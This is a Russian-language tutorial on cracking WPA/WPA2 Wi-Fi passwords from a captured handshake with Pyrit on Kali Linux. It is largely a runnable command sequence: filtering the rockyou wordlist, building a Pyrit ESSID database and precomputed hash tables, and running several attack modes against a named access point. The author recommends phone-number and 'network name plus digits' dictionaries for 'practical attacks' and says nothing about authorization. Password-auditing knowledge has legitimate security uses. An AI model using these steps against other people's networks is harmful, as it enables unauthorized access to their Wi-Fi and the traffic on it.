Знакомимся с техникой захвата рукопожатий и максимально оптимизируем процесс взлома паролей с помощью инструмента Kali Linux - Pyrit.
На сегодняшний день, захват рукопожатий (англ. handshake) - это единственный способ взлома WPA/WPA2 паролей. Сам метод представляет собой сильно модифицированный брутфорс (перебор паролей). Для тех, кто слабо знаком с темой и пока не понимает, о чём идёт речь, рекомендуем обратиться к статье "Захват рукопожатий в Kali Linux".
Почему выбор пал на Pyrit
Потому, что данный инструмент предоставляет все существующие на сегодня способы ускорения процесса взлома, а именно:
- Применение видеокарт с целью подбора паролей (ощутимо повышает скорость перебора);
- Использование таблиц с предварительно рассчитанными хэшами (увеличение скорости + возможность повторного использования одной и той же точки доступа, возможность перепробовать десятки рукопожатий от одной точки доступа за считанные секунды);
- Грамотное составление словарей для взлома;
Для того, чтобы добиться от Pyrit максимальной производительности, вам нужно установить проприетарные драйвера для видео карты. Поэтапную инструкцию по установке требуемого ПО для видеокарт компании AMD можете найти здесь.
Приступаем к взлому
Что ж, начнём.
Дано:
- Цель - DANIELLE2015;
- Наименование файла с уже захваченным рукопожатием - DANIELLE2015-01.cap;
Из словарей для взлома мы воспользуемся rockyou. Он хорошо подходит для обучения, а в дальнейшем, для совершения практических атак советую применять сгенерированные словари номеров телефонов и словари для конкретных ТД вида "имя_ТД + цифры", с длиной паролей не более 8 символов.
Теперь скопируем лучший файл словаря в корневой каталог.
cp /usr/share/wordlists/rockyou.txt.gz .
Распаковываем полученный файл.
gunzip rockyou.txt.gz
Теперь, так как длина WPA2 пароля находится в границах от 8 до 63 символов, отфильтруем результаты, сохранив данные в файле под именем newrockyou.txt.
cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt
Проверим, насколько мы сократили файл.
wc -l newrockyou.txt
wc -l rockyou.txt
9606665 против 14344392 паролей. Неплохо. А теперь переименуем файл в wpa.lst.
mv newrockyou.txt wpa.lst
Дальше создаём ESSID в базе данных Pyrit.
pyrit -e DANIELLE2015 create_essid
Примечание. Если в названии ТД есть пробел, (к примеру, “NetComm Wireless”), тогда ваша команда будет выглядеть следующим образом:
pyrit -e 'NetComm Wireless' create_essid
Следующим шагом будет импорт словаря паролей.
pyrit -i /root/wpa.lst import_passwords
Создаём таблицы с предварительно рассчитанными хэшами.
pyrit batch
Здесь следует быть осторожным и следить за температурой процессора и графической карты. Используйте дополнительное охлаждение, чтобы не повредить ваши комплектующие.
Итак, всё готово. Начинаем атаку методом взлома рукопожатий, используя сформированную ранее таблицу хэшей. Здесь проверяется самое лучшее рукопожатие.
pyrit -r DANIELLE2015-01.cap attack_db
В случае, если пароль не удалось получить методом лучшего рукопожатия, то пробуем функцию --all handshakes.
pyrit --all-handshakes -r DANIELLE2015-01.cap attack_db
Использование данной команды займёт у вас всего несколько лишних секунд. Если же вам не хочется создавать базу данных, а хочется напрямую "копошиться" в файле словаря (что значительно медленнее), вы можете сделать следующее.
pyrit -r DANIELLE2015-01.cap -i /root/wpa.lst attack_passthrough
Если сравнить скорость метода лучшего рукопожатия со взломом без таблицы, то получается 6322696 PMKs (лучшее рукопожатие) против 17807 PMKs. Всё, взлом завершён. Не забудьте удалить ваш essid и сделать очистку, чтобы освободить место на жёстком диске.
pyrit -e DANIELLE2015 delete_essid
Комментарии